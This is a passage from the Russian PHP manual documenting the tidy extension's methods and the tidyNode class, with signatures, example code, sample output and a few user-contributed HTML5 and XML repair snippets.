Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с датой релиза библиотеки Tidy, которая может быть 'unknown'.

User Contributed Notes

There are no user contributed notes for this page.


Получает статус указанного документа

  • « tidy::getRelease
  • tidy::head »
  • PHP Manual
  • tidy
  • Получает статус указанного документа

tidy::getStatus

tidy_get_status

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getStatus -- tidy_get_status — Получает статус указанного документа

Описание

Объектно-ориентированный стиль

public tidy::getStatus(): int

Процедурный стиль

tidy_get_status(tidy $tidy): int

Возвращает статус указанного tidy-объекта tidy.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает 0, если не было ошибок/предупреждений, 1 - для предупреждений или возможных ошибок или 2 - для ошибок.

Примеры

Пример #1 Пример использования tidy::getStatus()

<?php
$html = '<p>параграф</i>';
$tidy = new tidy();
$tidy->parseString($html);

$tidy2 = new tidy();
$html2 = '<bogus>тест</bogus>';
$tidy2->parseString($html2);

echo $tidy->getStatus(); //1

echo $tidy2->getStatus(); //2
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева

  • « tidy::getStatus
  • tidy::html »
  • PHP Manual
  • tidy
  • Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева

tidy::head

tidy_get_head

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::head -- tidy_get_head — Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева

Описание

Объектно-ориентированный стиль

public tidy::head(): ?tidyNode

Процедурный стиль

tidy_get_head(tidy $tidy): ?tidyNode

Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает объект tidyNode.

Примеры

Пример #1 Пример использования tidy::head()

<?php
$html = '
<html>
<head>
<title>тест</title>
</head>
<body>
<p>параграф</p>
</body>
</html>';

$tidy = tidy_parse_string($html);

$head = $tidy->head();
echo $head->value;
?>

Результат выполнения данного примера:

<head>
<title>тест</title>
</head>

Смотрите также

  • tidy::body() - Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева
  • tidy::html() - Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева

  • « tidy::head
  • tidy::isXhtml »
  • PHP Manual
  • tidy
  • Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева

tidy::html

tidy_get_html

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::html -- tidy_get_html — Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева

Описание

Объектно-ориентированный стиль

public tidy::html(): ?tidyNode

Процедурный стиль

tidy_get_html(tidy $tidy): ?tidyNode

Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает объект tidyNode.

Примеры

Пример #1 Пример использования tidy::html()

<?php
$html = '
<html>
<head>
<title>тест</title>
</head>
<body>
<p>параграф</p>
</body>
</html>';

$tidy = tidy_parse_string($html);

$html = $tidy->html();
echo $html->value;
?>

Результат выполнения данного примера:

<html>
<head>
<title>тест</title>
</head>
<body>
<p>параграф</p>
</body>
</html>

Смотрите также

  • tidy::body() - Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева
  • tidy::head() - Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли документ XHTML-документом

  • « tidy::html
  • tidy::isXml »
  • PHP Manual
  • tidy
  • Определяет, является ли документ XHTML-документом

tidy::isXhtml

tidy_is_xhtml

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::isXhtml -- tidy_is_xhtml — Определяет, является ли документ XHTML-документом

Описание

Объектно-ориентированный стиль

public tidy::isXhtml(): bool

Процедурный стиль

tidy_is_xhtml(tidy $tidy): bool

Определяет, является ли документ XHTML-документом.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Функция возвращает true, если указанный tidy-объект tidy является XHTML-документом, или false в противном случае.

Внимание

Эта функция ещё не реализована в самом Tidylib, поэтому всегда возвращается false.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли документ общим XML-документом (не HTML/XHTML)

  • « tidy::isXhtml
  • tidy::parseFile »
  • PHP Manual
  • tidy
  • Определяет, является ли документ общим XML-документом (не HTML/XHTML)

tidy::isXml

tidy_is_xml

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::isXml -- tidy_is_xml — Определяет, является ли документ общим XML-документом (не HTML/XHTML)

Описание

Объектно-ориентированный стиль

public tidy::isXml(): bool

Процедурный стиль

tidy_is_xml(tidy $tidy): bool

Определяет, является ли документ общим XML-документом (не HTML/XHTML).

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Эта функция возвращает true, если указанный tidy-объект tidy является общим XML-документом (не HTML/XHTML), или false в противном случае.

Внимание

Эта функция ещё не реализована в самом Tidylib, поэтому всегда возвращается false.

User Contributed Notes

There are no user contributed notes for this page.


Разбор разметки в файле или URI

  • « tidy::isXml
  • tidy::parseString »
  • PHP Manual
  • tidy
  • Разбор разметки в файле или URI

tidy::parseFile

tidy_parse_file

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::parseFile -- tidy_parse_file — Разбор разметки в файле или URI

Описание

Объектно-ориентированный стиль

public tidy::parseFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): bool

Процедурный стиль

tidy_parse_file(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): tidy|false

Разбор полученного файла.

Список параметров

filename

Если получен параметр filename, то функция прочитает этот файл и инициализирует объект с этим файлом, так же как делает это функция tidy_parse_file().

config

Настройки config могут быть заданы в виде массива или строки. Если задана строка, то она интерпретируется как имя файла конфигурации, в противном случае, параметр интерпретируется как сами настройки.

Информацию о каждом параметре можно найти тут: » http://api.html-tidy.org/#quick-reference.

encoding

Параметр encoding устанавливает кодировку для входных/выходных документов. Возможные значения: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, и shiftjis.

useIncludePath

Поиск файла в include_path.

Возвращаемые значения

tidy::parseFile() возвращает true в случае успешного выполнения. tidy_parse_file() возвращает новый экземпляр tidy в случае успешного выполнения. И метод, и функция возвращают false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | config и encoding теперь допускают значение null.

Примеры

Пример #1 Пример использования tidy::parseFile()

<?php
$tidy = new tidy();
$tidy->parseFile('file.html');

$tidy->cleanRepair();

if(!empty($tidy->errorBuffer)) {
echo "Возникли следующие ошибки или предупреждения:\n";
echo $tidy->errorBuffer;
}
?>

Смотрите также

  • tidy::parsestring() - Разбор документа, хранимого в строке
  • tidy::repairfile() - Восстанавливает разметку файла и возвращает его в виде строки
  • tidy::repairstring() - Восстанавливает строку, используя по возможности конфигурационный файл

User Contributed Notes

There are no user contributed notes for this page.


Разбор документа, хранимого в строке

  • « tidy::parseFile
  • tidy::repairFile »
  • PHP Manual
  • tidy
  • Разбор документа, хранимого в строке

tidy::parseString

tidy_parse_string

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::parseString -- tidy_parse_string — Разбор документа, хранимого в строке

Описание

Объектно-ориентированный стиль

public tidy::parseString(string $string, array|string|null $config = null, ?string $encoding = null): bool

Процедурный стиль

tidy_parse_string(string $string, array|string|null $config = null, ?string $encoding = null): tidy|false

Разбор документа, хранимого в строке.

Список параметров

string

Данные для разбора.

config

Настройки config могут быть заданы в виде массива или строки. Если задана строка, то она интерпретируется как имя файла конфигурации, в противном случае, параметр интерпретируется как сами настройки.

Информацию о каждом параметре можно найти тут: » http://api.html-tidy.org/#quick-reference.

encoding

Параметр encoding устанавливает кодировку для входных/выходных документов. Возможные значения: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, и shiftjis.

Возвращаемые значения

tidy::parseString() возвращает true в случае успешного выполнения. tidy_parse_string() возвращает новый экземпляр tidy в случае успешного выполнения. И метод, и функция возвращают false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | config и encoding теперь допускают значение null.

Примеры

Пример #1 Пример использования tidy::parseString()

<?php
ob_start();
?>

<html>
<head>
<title>тест</title>
</head>
<body>
<p>ошибка<br>другая линия</i>
</body>
</html>

<?php

$buffer = ob_get_clean();
$config = array('indent' => TRUE,
'output-xhtml' => TRUE,
'wrap' => 200);

$tidy = tidy_parse_string($buffer, $config, 'UTF8');

$tidy->cleanRepair();
echo $tidy;
?>

Результат выполнения данного примера:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <title>
      тест
    </title>
  </head>
  <body>
    <p>
      ошибка<br />
      другая линия
    </p>
  </body>
</html>

Смотрите также

  • tidy::parseFile() - Разбор разметки в файле или URI
  • tidy::repairFile() - Восстанавливает разметку файла и возвращает его в виде строки
  • tidy::repairString() - Восстанавливает строку, используя по возможности конфигурационный файл

User Contributed Notes

steven at nevvix dot com 09-Aug-2018 03:36
<?php
/**
 * Simpler version without pretty print config options.
 */
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    $config += [
        'doctype' => '<!DOCTYPE html>',
        'drop-empty-elements' => 0,
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
        'tidy-mark' => 0,
    ];
    $html = tidy_parse_string($html, $config, $encoding); // doctype not inserted
    tidy_clean_repair($html); // doctype inserted
    return $html;
}

$html = '</z><p><a href="#">Link</a></p><p><img src="logo.png"/>Second para</p><i class="fa"></i><p></p>';

echo tidy_html5($html);

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<p><a href="#">Link</a></p>
<p><img src="logo.png">Second para</p>
<i class="fa"></i>
<p></p>
</body>
</html>

echo tidy_html5($html, ['indent'=>2, 'indent-spaces'=>4]);

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <p><a href="#">Link</a></p>
    <p><img src="logo.png">Second para</p><i class="fa"></i>
    <p></p>
</body>
</html>

echo tidy_html5($html, ['indent'=>1], 'ascii');

<!DOCTYPE html>
<html>
  <head>
    <title></title>
  </head>
  <body>
    <p>
      <a href="#">Link</a>
    </p>
    <p>
      <img src="logo.png">Se&Atilde;&sect;ond para
    </p><i class="fa"></i>
    <p></p>
  </body>
</html>

echo tidy_html5($html, ['show-body-only'=>1]);

<p><a href="#">Link</a></p>
<p><img src="logo.png">Second para</p>
<i class="fa"></i>
<p></p>
steven at nevvix dot com 09-Aug-2018 12:57
<?php
/**
* UTF-8 HTML5-compatible Tidy
*
* @param string $html
* @param array $config
* @param string $encoding
* @link http://tidy.sourceforge.net/docs/quickref.html
*/
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    $config += [
        'clean'       => TRUE,
        'doctype'     => 'omit',
        'indent'      => 2, // auto
        'output-html' => TRUE,
        'tidy-mark'   => FALSE,
        'wrap'        => 0,
        // HTML5 tags
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
    ];
    $html = tidy_parse_string($html, $config, $encoding);
    tidy_clean_repair($html);
    return '<!DOCTYPE html>' . PHP_EOL . $html;
}

$html = '</z><p><a href="#">Link</a></p><p>Second para</p>';
echo tidy_html5($html);

Output:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <p><a href="#">Link</a></p>
  <p>Second para</p>
</body>
</html>


Восстанавливает разметку файла и возвращает его в виде строки

  • « tidy::parseString
  • tidy::repairString »
  • PHP Manual
  • tidy
  • Восстанавливает разметку файла и возвращает его в виде строки

tidy::repairFile

tidy_repair_file

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::repairFile -- tidy_repair_file — Восстанавливает разметку файла и возвращает его в виде строки

Описание

Объектно-ориентированный стиль

public static tidy::repairFile(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): string|false

Процедурный стиль

tidy_repair_file(
string $filename,
array|string|null $config = null,
?string $encoding = null,
bool $useIncludePath = false
): string|false

Восстанавливает полученный файл и возвращает его в виде строки.

Список параметров

filename

Имя файла для восстановления.

config

Настройки config могут быть заданы в виде массива или строки. Если задана строка, то она интерпретируется как имя файла конфигурации, в противном случае, параметр интерпретируется как сами настройки.

Информацию о каждом параметре можно найти тут: http://tidy.sourceforge.net/docs/quickref.html.

encoding

Параметр encoding устанавливает кодировку для входных/выходных документов. Возможные значения: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, и shiftjis.

useIncludePath

Поиск файла в include_path.

Возвращаемые значения

Возвращает восстановленный документ в виде строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | tidy::repairFile() теперь статичный метод.
8.0.0 | config и encoding теперь допускают значение null.

Примеры

Пример #1 Пример использования tidy::repairFile()

<?php
$file = 'file.html';

$tidy = new tidy();
$repaired = $tidy->repairfile($file);
rename($file, $file . '.bak');

file_put_contents($file, $repaired);
?>

Смотрите также

  • tidy::parseFile() - Разбор разметки в файле или URI
  • tidy::parseString() - Разбор документа, хранимого в строке
  • tidy::repairString() - Восстанавливает строку, используя по возможности конфигурационный файл

User Contributed Notes

There are no user contributed notes for this page.


Восстанавливает строку, используя по возможности конфигурационный файл

  • « tidy::repairFile
  • tidy::root »
  • PHP Manual
  • tidy
  • Восстанавливает строку, используя по возможности конфигурационный файл

tidy::repairString

tidy_repair_string

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::repairString -- tidy_repair_string — Восстанавливает строку, используя по возможности конфигурационный файл

Описание

Объектно-ориентированный стиль

public static tidy::repairString(string $string, array|string|null $config = null, ?string $encoding = null): string|false

Процедурный стиль

tidy_repair_string(string $string, array|string|null $config = null, ?string $encoding = null): string|false

Восстанавливает полученную строку.

Список параметров

string

Данные для восстановления.

config

Настройки config могут быть заданы в виде массива или строки. Если задана строка, то она интерпретируется как имя файла конфигурации, в противном случае, параметр интерпретируется как сами настройки.

Информацию о каждом параметре можно найти тут: » http://api.html-tidy.org/#quick-reference.

encoding

Параметр encoding устанавливает кодировку для входных/выходных документов. Возможные значения: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, и shiftjis.

Возвращаемые значения

Возвращает восстановленную строку или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | tidy::repairString() теперь статичный метод.
8.0.0 | config и encoding теперь допускают значение null.
8.0.0 | Функция больше не принимает параметр useIncludePath.

Примеры

Пример #1 Пример использования tidy::repairString()

<?php
ob_start();
?>

<html>
<head>
<title>тест</title>
</head>
<body>
<p>ошибка</i>
</body>
</html>

<?php

$buffer = ob_get_clean();
$tidy = new tidy();
$clean = $tidy->repairString($buffer);

echo $clean;
?>

Результат выполнения данного примера:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>тест</title>
</head>
<body>
<p>ошибка</p>
</body>
</html>

Смотрите также

  • tidy::parseFile() - Разбор разметки в файле или URI
  • tidy::parseString() - Разбор документа, хранимого в строке
  • tidy::repairFile() - Восстанавливает разметку файла и возвращает его в виде строки

User Contributed Notes

Romolo 23-May-2017 10:48
Using tidy is very simple to fix a broken ods/odt document
I wrote the following code to be run from command line

<?php
$zip = new ZipArchive();
if ($zip->open($argv[1])) {
  $fp = $zip->getStream('content.xml'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to document file");
  $stat = $zip->statName('content.xml');
  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048);
    }
    $s = ob_get_contents();
  ob_end_clean();
  fclose($fp);
  $zip->close();
  $config = array(
      'indent' => true,
      'clean' => true,
      'input-xml'  => true,
      'output-xml' => true,
      'wrap'       => false
  );
  $tidy = new Tidy();
  $xml = $tidy->repairstring($buf, $config);
  $array=split("\n",$xml);
  $file=tempnam("/tmp","xml");
  $fp=fopen($file,"rw+");
  foreach ($array as $key=>$value) {
    fwrite($fp,trim($value),strlen(trim($value)));
    if ($key==0) {
      fwrite($fp,"\n");
    }
  }
  fclose($fp);
  if ($zip->open($argv[1]) === TRUE) {
    $zip->deleteName('content.xml');
    $zip->addFile($file, 'content.xml');
    $zip->close();
    echo 'recovery complete';
  } else {
    echo 'recovery failed';
  }
  unlink($file);
}
?>

save it to a file called fixdoc and invoke as:
php fixdoc yourbrokendoc

for your safety, please work on a copy of your doc.
dan-dot-hunsaker-at-gmail-dot-com 16-Jul-2011 04:49
The docs referenced at http://tidy.sourceforge.net/docs/quickref.html above state that the configuration option 'sort-attributes' is an enumeration of 'none' and 'alpha', thereby specifying that strings of either form are the acceptable values.  This may not be the case, however - on my system, the option was not honored until I set it to true.  This may also be the case with other options, so experiment a bit.  The output of tidy::getConfig() may be useful in this regard.
gnuffo1 at gmail dot com 23-Aug-2010 05:44
You can also use this function to repair xml, for example if stray ampersands etc are breaking it:

<?php
$xml = tidy_repair_string($xml, array(
    'output-xml' => true,
    'input-xml' => true
));
?>


Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева

  • « tidy::repairString
  • tidyNode »
  • PHP Manual
  • tidy
  • Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева

tidy::root

tidy_get_root

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::root -- tidy_get_root — Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева

Описание

Объектно-ориентированный стиль

public tidy::root(): ?tidyNode

Процедурный стиль

tidy_get_root(tidy $tidy): ?tidyNode

Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева.

Список параметров

tidy

Объект Tidy.

Возвращаемые значения

Возвращает объект tidyNode.

Примеры

Пример #1 Пример использования tidy::root()

<?php

$html = <<< HTML
<html><body>

<p>параграф</p>
<br/>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
dump_nodes($tidy->root(), 1);

function dump_nodes($node, $indent) {

if($node->hasChildren()) {
foreach($node->child as $child) {
echo str_repeat('.', $indent*2) . ($child->name ? $child->name : '"'.$child->value.'"'). "\n";

dump_nodes($child, $indent+1);
}
}
}
?>

Результат выполнения данного примера:

..html
....head
......title
....body
......p
........"параграф"
......br

User Contributed Notes

There are no user contributed notes for this page.


Класс tidyNode

(PHP 5, PHP 7, PHP 8)

Введение

An HTML node in an HTML file, as detected by tidy.

Обзор классов

final class tidyNode {
/* Свойства */
public readonly string $value;
public readonly string $name;
public readonly int $type;
public readonly int $line;
public readonly int $column;
public readonly bool $proprietary;
public readonly ?int $id;
public readonly ?array $attribute;
public readonly ?array $child;
/* Методы */
private __construct()
public getParent(): ?tidyNode
public hasChildren(): bool
public hasSiblings(): bool
public isAsp(): bool
public isComment(): bool
public isHtml(): bool
public isJste(): bool
public isPhp(): bool
public isText(): bool
}

Свойства

value

HTML-представление узла, включая окружающие теги.

name

Название HTML-узла

type

Тип тэга (одна из констант, описанных выше, например TIDY_NODETYPE_PHP)

line

Номер строки, на которой расположен тег в файле

column

Номер столбца, на котором расположен тег в файле

proprietary

Признак проприетарности тега

id

Идентификатор тега (одна из констант, описанных выше, например TIDY_TAG_FRAME)

attribute

Массив строк, представляющих имена атрибутов (в качестве ключей) текущего узла.

child

Массив, состоящий из экземпляров tidyNode, представляющий детей текущего узла.

Содержание

  • tidyNode::__construct — Приватный конструктор, делающий невозможным прямое создание объекта
  • tidyNode::getParent — Возвращает родительский узел текущего узла
  • tidyNode::hasChildren — Проверяет существование потомков у узла
  • tidyNode::hasSiblings — Проверяет существование соседних узлов
  • tidyNode::isAsp — Проверяет текущий узел на соответствие ASP
  • tidyNode::isComment — Проверяет, является ли узел комментарием
  • tidyNode::isHtml — Проверяет, является ли узел узлом элемента
  • tidyNode::isJste — Проверяет текущий узел на соответствие JSTE
  • tidyNode::isPhp — Проверяет, является ли текущий узел PHP-кодом
  • tidyNode::isText — Проверяет, является ли текущий узел обычным текстом (не разметкой)

User Contributed Notes

There are no user contributed notes for this page.


Приватный конструктор, делающий невозможным прямое создание объекта

  • « tidyNode
  • tidyNode::getParent »
  • PHP Manual
  • tidyNode
  • Приватный конструктор, делающий невозможным прямое создание объекта

tidyNode::__construct

(PHP 5, PHP 7, PHP 8)

tidyNode::__construct — Приватный конструктор, делающий невозможным прямое создание объекта

Описание

private tidyNode::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает родительский узел текущего узла

  • « tidyNode::__construct
  • tidyNode::hasChildren »
  • PHP Manual
  • tidyNode
  • Возвращает родительский узел текущего узла

tidyNode::getParent

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

tidyNode::getParent — Возвращает родительский узел текущего узла

Описание

public tidyNode::getParent(): ?tidyNode

Возвращает родительский узел текущего узла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект tidyNode, если узел имеет родителя, в противном случае возвращает null.

Примеры

Пример #1 Пример использования функции tidyNode::getParent()

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE-код */
alert('Hello World');
#>
</head>
<body>
Hello World
</body>
</html>

HTML;

$tidy = tidy_parse_string($html);
$num = 0;

$node = $tidy->html()->child[0]->child[0];

var_dump($node->getparent()->name);
?>

Результат выполнения данного примера:

string(4) "head"

User Contributed Notes

There are no user contributed notes for this page.


Проверяет существование потомков у узла

  • « tidyNode::getParent
  • tidyNode::hasSiblings »
  • PHP Manual
  • tidyNode
  • Проверяет существование потомков у узла

tidyNode::hasChildren

(PHP 5, PHP 7, PHP 8)

tidyNode::hasChildren — Проверяет существование потомков у узла

Описание

public tidyNode::hasChildren(): bool

Сообщает, есть ли у заданного узла потомки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если у узла есть потомки, в противном случае возвращает false.

Примеры

Пример #1 Пример использования функции tidyNode::hasChildren()

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE-код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// тег head
var_dump($tidy->html()->child[0]->hasChildren());

// php внутри тега head
var_dump($tidy->html()->child[0]->child[0]->hasChildren());

?>

Результат выполнения данного примера:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет существование соседних узлов

  • « tidyNode::hasChildren
  • tidyNode::isAsp »
  • PHP Manual
  • tidyNode
  • Проверяет существование соседних узлов

tidyNode::hasSiblings

(PHP 5, PHP 7, PHP 8)

tidyNode::hasSiblings — Проверяет существование соседних узлов

Описание

public tidyNode::hasSiblings(): bool

Проверяет существование соседних узлов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если существуют соседние узлы, в противном случае возвращает false.

Примеры

Пример #1 Пример использования функции tidyNode::hasSiblings()

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// тег html
var_dump($tidy->html()->hasSiblings());

// тег head
var_dump($tidy->html()->child[0]->hasSiblings());

?>

Результат выполнения данного примера:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет текущий узел на соответствие ASP

  • « tidyNode::hasSiblings
  • tidyNode::isComment »
  • PHP Manual
  • tidyNode
  • Проверяет текущий узел на соответствие ASP

tidyNode::isAsp

(PHP 5, PHP 7, PHP 8)

tidyNode::isAsp — Проверяет текущий узел на соответствие ASP

Описание

public tidyNode::isAsp(): bool

Проверяет текущий узел на соответствие ASP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если узел является ASP, в противном случае возвращает false.

Примеры

Пример #1 Извлечение кода ASP из смешанного HTML-документа

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// проверяет текущий узел на соответствие требуемому типу
if($node->isAsp()) {
echo "\n\n# asp узел #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// проверяет существование потомков у текущего узла
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

Результат выполнения данного примера:

# asp нода #1
<%
  /* ASP код */
  response.write("Привет Мир!")
%>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли узел комментарием

  • « tidyNode::isAsp
  • tidyNode::isHtml »
  • PHP Manual
  • tidyNode
  • Проверяет, является ли узел комментарием

tidyNode::isComment

(PHP 5, PHP 7, PHP 8)

tidyNode::isComment — Проверяет, является ли узел комментарием

Описание

public tidyNode::isComment(): bool

Проверяет, является ли узел комментарием.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если узел является комментарием, в противном случае возвращает false.

Примеры

Пример #1 Извлечение комментариев из смешанного HTML-документа

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// проверяет текущий узел на соответствие требуемому типу
if($node->isComment()) {
echo "\n\n# узел комментария #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// проверяет существование потомков у текущего узла
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

Результат выполнения данного примера:

# узел комментария #1
<!-- Комментарии -->

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли узел узлом элемента

  • « tidyNode::isComment
  • tidyNode::isJste »
  • PHP Manual
  • tidyNode
  • Проверяет, является ли узел узлом элемента

tidyNode::isHtml

(PHP 5, PHP 7, PHP 8)

tidyNode::isHtml — Проверяет, является ли узел узлом элемента

Описание

public tidyNode::isHtml(): bool

Проверяет, является ли узел узлом элемента, но не корневым узлом документа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если узел является узлом элемента, но не корневым узлом документа, в противном случае возвращает false.

Список изменений

Версия | Описание
7.3.24, 7.4.12 | Исправлено, теперь функция ведёт себя разумно. Раньше почти любой узел считался узлом HTML.

Примеры

Пример #1 Извлечение HTML-кода из смешанного HTML-документа

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>заголовок</title>'; ?>
<#
/* JSTE код */
alert('Привет Мир');
#>
</head>
<body>

<?php
// PHP-код
echo 'привет мир!';
?>

<%
/* ASP код */
response.write("Привет Мир!")
%>

<!-- Комментарии -->
Привет Мир
</body></html>
За пределами HTML кода
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {
// проверяет текущий узел на соответствие требуемому типу
if($node->isHtml()) {
echo "\n\n# html нода #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// проверяет существование потомков у текущего узла
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

Результат выполнения данного примера:

# html узел #1
<html>
<head>
<?php echo '<title>заголовок</title>'; ?><#
  /* JSTE код */
  alert('Привет Мир');
#>
<title></title>
</head>
<body>
<?php
  // PHP-код
  echo 'привет мир!';
?><%
  /* ASP код */
  response.write("Привет Мир!")
%><!-- Комментарии -->
Привет МирЗа пределами HTML кода
</body>
</html>

# html узел #2
<head>
<?php echo '<title>заголовок</title>'; ?><#
  /* JSTE код */
  alert('Привет Мир');
#>
<title></title>
</head>

# html узел #3
<title></title>

# html узел #4
<body>
<?php
  // PHP-код
  echo 'привет мир!';
?><%
  /* ASP код */
  response.write("Привет Мир!")
%><!-- Комментарии -->
Привет МирЗа пределами HTML кода
</body>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет текущий узел на соответствие JSTE

  • « tidyNode::isHtml
  • tidyNode::isPhp »
  • PHP Manual
  • tidyNode
  • Проверяет текущий узел на соответствие JSTE

tidyNode::isJste

(PHP 5, PHP 7, PHP 8)

tidyNode::isJste — Проверяет текущий узел на соответствие JSTE

Описание

public tidyNode::isJste(): bool

Сообщает, если узел соответствует JSTE.

Список параметров

У этой функции нет параметров.

